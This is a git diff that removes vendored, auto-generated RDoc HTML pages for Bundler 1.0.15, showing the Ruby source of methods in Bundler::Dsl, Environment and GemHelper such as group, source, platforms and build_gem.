-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="group-method" class="method-detail ">
-				<a name="method-i-group"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">group</span><span
-						class="method-args">(*args, &blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="group-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 120</span>
-120:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">group</span>(*<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">blk</span>)
-121:       <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">args</span>
-122:       <span class="ruby-keyword kw">yield</span>
-123:     <span class="ruby-keyword kw">ensure</span>
-124:       <span class="ruby-identifier">args</span>.<span class="ruby-identifier">each</span> { <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">pop</span> }
-125:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="path-method" class="method-detail ">
-				<a name="method-i-path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">path</span><span
-						class="method-args">(path, options = {}, source_options = {}, &blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 95</span>
-95:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">path</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">options</span> = {}, <span class="ruby-identifier">source_options</span> = {}, &amp;<span class="ruby-identifier">blk</span>)
-96:       <span class="ruby-identifier">source</span> <span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Path</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">_normalize_hash</span>(<span class="ruby-identifier">options</span>).<span class="ruby-identifier">merge</span>(<span class="ruby-value str">&quot;path&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">path</span>))), <span class="ruby-identifier">source_options</span>, &amp;<span class="ruby-identifier">blk</span>
-97:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
-
-				
-
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-
-		
-			<div id="platform-method" class="method-detail method-alias">
-				<a name="method-i-platform"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">platform</span><span
-						class="method-args">(*platforms)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-				</div>
-
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-
-				
-				<div class="aliases">
-          Alias for: <a href="Dsl.html#method-i-platforms">platforms</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="platforms-method" class="method-detail ">
-				<a name="method-i-platforms"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">platforms</span><span
-						class="method-args">(*platforms)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="platforms-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 127</span>
-127:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">platforms</span>(*<span class="ruby-identifier">platforms</span>)
-128:       <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">platforms</span>
-129:       <span class="ruby-keyword kw">yield</span>
-130:     <span class="ruby-keyword kw">ensure</span>
-131:       <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">each</span> { <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">pop</span> }
-132:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Dsl.html#method-i-platform">platform</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="source-method" class="method-detail ">
-				<a name="method-i-source"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">source</span><span
-						class="method-args">(source, options = {})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="source-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 76</span>
-76:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source</span>(<span class="ruby-identifier">source</span>, <span class="ruby-identifier">options</span> = {})
-77:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">source</span>
-78:       <span class="ruby-keyword kw">when</span> <span class="ruby-value">:gemcutter</span>, <span class="ruby-value">:rubygems</span>, <span class="ruby-value">:rubyforge</span> <span class="ruby-keyword kw">then</span>
-79:         <span class="ruby-identifier">rubygems_source</span> <span class="ruby-value str">&quot;http://rubygems.org&quot;</span>
-80:         <span class="ruby-keyword kw">return</span>
-81:       <span class="ruby-keyword kw">when</span> <span class="ruby-constant">String</span>
-82:         <span class="ruby-identifier">rubygems_source</span> <span class="ruby-identifier">source</span>
-83:         <span class="ruby-keyword kw">return</span>
-84:       <span class="ruby-keyword kw">end</span>
-85: 
-86:       <span class="ruby-ivar">@source</span> = <span class="ruby-identifier">source</span>
-87:       <span class="ruby-identifier">options</span>[<span class="ruby-value">:prepend</span>] <span class="ruby-operator">?</span> <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">unshift</span>(<span class="ruby-ivar">@source</span>) <span class="ruby-operator">:</span> <span class="ruby-ivar">@sources</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-ivar">@source</span>
-88: 
-89:       <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-90:       <span class="ruby-ivar">@source</span>
-91:     <span class="ruby-keyword kw">ensure</span>
-92:       <span class="ruby-ivar">@source</span> = <span class="ruby-keyword kw">nil</span>
-93:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="to-definition-method" class="method-detail ">
-				<a name="method-i-to_definition"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_definition</span><span
-						class="method-args">(lockfile, unlock)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="to-definition-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 114</span>
-114:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_definition</span>(<span class="ruby-identifier">lockfile</span>, <span class="ruby-identifier">unlock</span>)
-115:       <span class="ruby-ivar">@sources</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-ivar">@rubygems_source</span>
-116:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">uniq!</span>
-117:       <span class="ruby-constant">Definition</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">lockfile</span>, <span class="ruby-ivar">@dependencies</span>, <span class="ruby-ivar">@sources</span>, <span class="ruby-identifier">unlock</span>)
-118:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="-deprecated-options-method" class="method-detail ">
-				<a name="method-i-_deprecated_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">_deprecated_options</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="-deprecated-options-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 231</span>
-231:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">_deprecated_options</span>(<span class="ruby-identifier">options</span>)
-232:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:require_as</span>)
-233:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-value str">&quot;Please replace :require_as with :require&quot;</span>
-234:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:vendored_at</span>)
-235:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-value str">&quot;Please replace :vendored_at with :path&quot;</span>
-236:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:only</span>)
-237:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-value str">&quot;Please replace :only with :group&quot;</span>
-238:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:except</span>)
-239:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DeprecatedError</span>, <span class="ruby-value str">&quot;The :except option is no longer supported&quot;</span>
-240:       <span class="ruby-keyword kw">end</span>
-241:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="-normalize-hash-method" class="method-detail ">
-				<a name="method-i-_normalize_hash"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">_normalize_hash</span><span
-						class="method-args">(opts)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="-normalize-hash-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 172</span>
-172:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">_normalize_hash</span>(<span class="ruby-identifier">opts</span>)
-173:       <span class="ruby-comment cmt"># Cannot modify a hash during an iteration in 1.9</span>
-174:       <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">keys</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">k</span><span class="ruby-operator">|</span>
-175:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">String</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">k</span>
-176:         <span class="ruby-identifier">v</span> = <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">k</span>]
-177:         <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">k</span>)
-178:         <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">k</span>.<span class="ruby-identifier">to_s</span>] = <span class="ruby-identifier">v</span>
-179:       <span class="ruby-keyword kw">end</span>
-180:       <span class="ruby-identifier">opts</span>
-181:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="-normalize-options-method" class="method-detail ">
-				<a name="method-i-_normalize_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">_normalize_options</span><span
-						class="method-args">(name, version, opts)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="-normalize-options-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 183</span>
-183:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">_normalize_options</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">opts</span>)
-184:       <span class="ruby-identifier">_normalize_hash</span>(<span class="ruby-identifier">opts</span>)
-185: 
-186:       <span class="ruby-identifier">invalid_keys</span> = <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">keys</span> <span class="ruby-operator">-</span> <span class="ruby-node">%(group groups git path name branch ref tag require submodules platform platforms)</span>
-187:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">invalid_keys</span>.<span class="ruby-identifier">any?</span>
-188:         <span class="ruby-identifier">plural</span> = <span class="ruby-identifier">invalid_keys</span>.<span class="ruby-identifier">size</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">1</span>
-189:         <span class="ruby-identifier">message</span> = <span class="ruby-node">&quot;You passed #{invalid_keys.map{|k| ':'+k }.join(&quot;, &quot;)} &quot;</span>
-190:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">plural</span>
-191:           <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;as options for gem '#{name}', but they are invalid.&quot;</span>
-192:         <span class="ruby-keyword kw">else</span>
-193:           <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;as an option for gem '#{name}', but it is invalid.&quot;</span>
-194:         <span class="ruby-keyword kw">end</span>
-195:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">InvalidOption</span>, <span class="ruby-identifier">message</span>
-196:       <span class="ruby-keyword kw">end</span>
-197: 
-198:       <span class="ruby-identifier">groups</span> = <span class="ruby-ivar">@groups</span>.<span class="ruby-identifier">dup</span>
-199:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;group&quot;</span>] = <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;groups&quot;</span>) <span class="ruby-operator">||</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;group&quot;</span>]
-200:       <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">concat</span> <span class="ruby-constant">Array</span>(<span class="ruby-identifier">opts</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;group&quot;</span>))
-201:       <span class="ruby-identifier">groups</span> = [<span class="ruby-value">:default</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">empty?</span>
-202: 
-203:       <span class="ruby-identifier">platforms</span> = <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">dup</span>
-204:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;platforms&quot;</span>] = <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;platform&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;platforms&quot;</span>]
-205:       <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">concat</span> <span class="ruby-constant">Array</span>(<span class="ruby-identifier">opts</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;platforms&quot;</span>))
-206:       <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">map!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">to_sym</span> }
-207:       <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-208:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">VALID_PLATFORMS</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">p</span>)
-209:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">DslError</span>, <span class="ruby-node">&quot;`#{p}` is not a valid platform. The available options are: #{VALID_PLATFORMS.inspect}&quot;</span>
-210:       <span class="ruby-keyword kw">end</span>
-211: 
-212:       <span class="ruby-comment cmt"># Normalize git and path options</span>
-213:       [<span class="ruby-value str">&quot;git&quot;</span>, <span class="ruby-value str">&quot;path&quot;</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">type</span><span class="ruby-operator">|</span>
-214:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">param</span> = <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">type</span>]
-215:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">version</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">version</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^\s*=?\s*(\d[^\s]*)\s*$/</span>
-216:             <span class="ruby-identifier">options</span> = <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value str">&quot;name&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">name</span>, <span class="ruby-value str">&quot;version&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-node">$1</span>)
-217:           <span class="ruby-keyword kw">else</span>
-218:             <span class="ruby-identifier">options</span> = <span class="ruby-identifier">opts</span>.<span class="ruby-identifier">dup</span>
-219:           <span class="ruby-keyword kw">end</span>
-220:           <span class="ruby-identifier">source</span> = <span class="ruby-identifier">send</span>(<span class="ruby-identifier">type</span>, <span class="ruby-identifier">param</span>, <span class="ruby-identifier">options</span>, <span class="ruby-value">:prepend</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>) {}
-221:           <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;source&quot;</span>] = <span class="ruby-identifier">source</span>
-222:         <span class="ruby-keyword kw">end</span>
-223:       <span class="ruby-keyword kw">end</span>
-224: 
-225:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;source&quot;</span>]  <span class="ruby-operator">||=</span> <span class="ruby-ivar">@source</span>
-226:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;env&quot;</span>]     <span class="ruby-operator">||=</span> <span class="ruby-ivar">@env</span>
-227:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;platforms&quot;</span>] = <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">dup</span>
-228:       <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;group&quot;</span>]     = <span class="ruby-identifier">groups</span>
-229:     <span class="ruby-keyword kw">end</span></pre>
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-
-		
-			<div id="rubygems-source-method" class="method-detail ">
-				<a name="method-i-rubygems_source"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">rubygems_source</span><span
-						class="method-args">(source)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="rubygems-source-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/dsl.rb, line 167</span>
-167:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">rubygems_source</span>(<span class="ruby-identifier">source</span>)
-168:       <span class="ruby-ivar">@rubygems_source</span>.<span class="ruby-identifier">add_remote</span> <span class="ruby-identifier">source</span>
-169:       <span class="ruby-ivar">@sources</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-ivar">@rubygems_source</span>
-170:     <span class="ruby-keyword kw">end</span></pre>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/DslError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/DslError.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::DslError</title>
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-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
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-			<!-- Parent Class -->
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-				<p class="link"><a href="BundlerError.html">Bundler::BundlerError</a></p>
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-			<!-- Namespace Contents -->
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Environment.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Environment.html
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-					<li><a href="../Thor/Util.html">Thor::Util</a></li>
-				
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-		<h1 class="class">Bundler::Environment</h1>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 5</span>
- 5:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">root</span>, <span class="ruby-identifier">definition</span>)
- 6:       <span class="ruby-ivar">@root</span> = <span class="ruby-identifier">root</span>
- 7:       <span class="ruby-ivar">@definition</span> = <span class="ruby-identifier">definition</span>
- 8: 
- 9:       <span class="ruby-identifier">env_file</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_config_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">'environment.rb'</span>)
-10:       <span class="ruby-identifier">env_file</span>.<span class="ruby-identifier">rmtree</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">env_file</span>.<span class="ruby-identifier">exist?</span>
-11:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 34</span>
-34:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">current_dependencies</span>
-35:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">current_dependencies</span>
-36:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 30</span>
-30:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dependencies</span>
-31:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">dependencies</span>
-32:     <span class="ruby-keyword kw">end</span></pre>
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-TODO: Remove this method. It&#8217;s used in cli.rb still
-</p>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 18</span>
-18:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">index</span>
-19:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">index</span>
-20:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 13</span>
-13:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inspect</span>
-14:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">to_lock</span>.<span class="ruby-identifier">inspect</span>
-15:     <span class="ruby-keyword kw">end</span></pre>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 38</span>
-38:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">lock</span>
-39:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">lock</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_lockfile</span>)
-40:     <span class="ruby-keyword kw">end</span></pre>
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-				<div class="method-heading">
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-					<span class="method-name">requested_specs</span><span
-						class="method-args">()</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 22</span>
-22:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">requested_specs</span>
-23:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">requested_specs</span>
-24:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-						class="method-args">()</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 26</span>
-26:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs</span>
-27:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">specs</span>
-28:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">update</span><span
-						class="method-args">(*gems)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/environment.rb, line 42</span>
-42:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">update</span>(*<span class="ruby-identifier">gems</span>)
-43:       <span class="ruby-comment cmt"># Nothing</span>
-44:     <span class="ruby-keyword kw">end</span></pre>
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemHelper.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemHelper.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::GemHelper</title>
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-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/gem_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/gem_helper.rb">lib/bundler/gem_helper.rb</a></li>
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-				
-				<p class="link">Object</p>
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-			<!-- Namespace Contents -->
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-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
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-			<!-- Included Modules -->
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
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-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
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-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
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-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
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-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
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-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
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-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 9</span>
- 9:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">install_tasks</span>(<span class="ruby-identifier">opts</span> = {})
-10:       <span class="ruby-identifier">dir</span> = <span class="ruby-identifier">opts</span>[<span class="ruby-value">:dir</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">pwd</span>
-11:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">dir</span>, <span class="ruby-identifier">opts</span>[<span class="ruby-value">:name</span>]).<span class="ruby-identifier">install</span>
-12:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 16</span>
-16:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">base</span>, <span class="ruby-identifier">name</span> = <span class="ruby-keyword kw">nil</span>)
-17:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span> = <span class="ruby-constant">UI</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span>.<span class="ruby-identifier">new</span>(<span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">shell</span>.<span class="ruby-identifier">new</span>)
-18:       <span class="ruby-ivar">@base</span> = <span class="ruby-identifier">base</span>
-19:       <span class="ruby-identifier">gemspecs</span> = <span class="ruby-identifier">name</span> <span class="ruby-operator">?</span> [<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">base</span>, <span class="ruby-node">&quot;#{name}.gemspec&quot;</span>)] <span class="ruby-operator">:</span> <span class="ruby-constant">Dir</span>[<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">base</span>, <span class="ruby-value str">&quot;*.gemspec&quot;</span>)]
-20:       <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Unable to determine name from existing gemspec. Use :name =&gt; 'gemname' in #install_tasks to manually set it.&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">gemspecs</span>.<span class="ruby-identifier">size</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span>
-21:       <span class="ruby-ivar">@spec_path</span> = <span class="ruby-identifier">gemspecs</span>.<span class="ruby-identifier">first</span>
-22:       <span class="ruby-ivar">@gemspec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load_gemspec</span>(<span class="ruby-ivar">@spec_path</span>)
-23:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">build_gem</span><span
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 42</span>
-42:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">build_gem</span>
-43:       <span class="ruby-identifier">file_name</span> = <span class="ruby-keyword kw">nil</span>
-44:       <span class="ruby-identifier">sh</span>(<span class="ruby-node">&quot;gem build '#{spec_path}'&quot;</span>) { <span class="ruby-operator">|</span><span class="ruby-identifier">out</span>, <span class="ruby-identifier">code</span><span class="ruby-operator">|</span>
-45:         <span class="ruby-identifier">raise</span> <span class="ruby-identifier">out</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">out</span>[<span class="ruby-regexp re">/Successfully/</span>]
-46:         <span class="ruby-identifier">file_name</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">built_gem_path</span>)
-47:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">base</span>, <span class="ruby-value str">'pkg'</span>))
-48:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mv</span>(<span class="ruby-identifier">built_gem_path</span>, <span class="ruby-value str">'pkg'</span>)
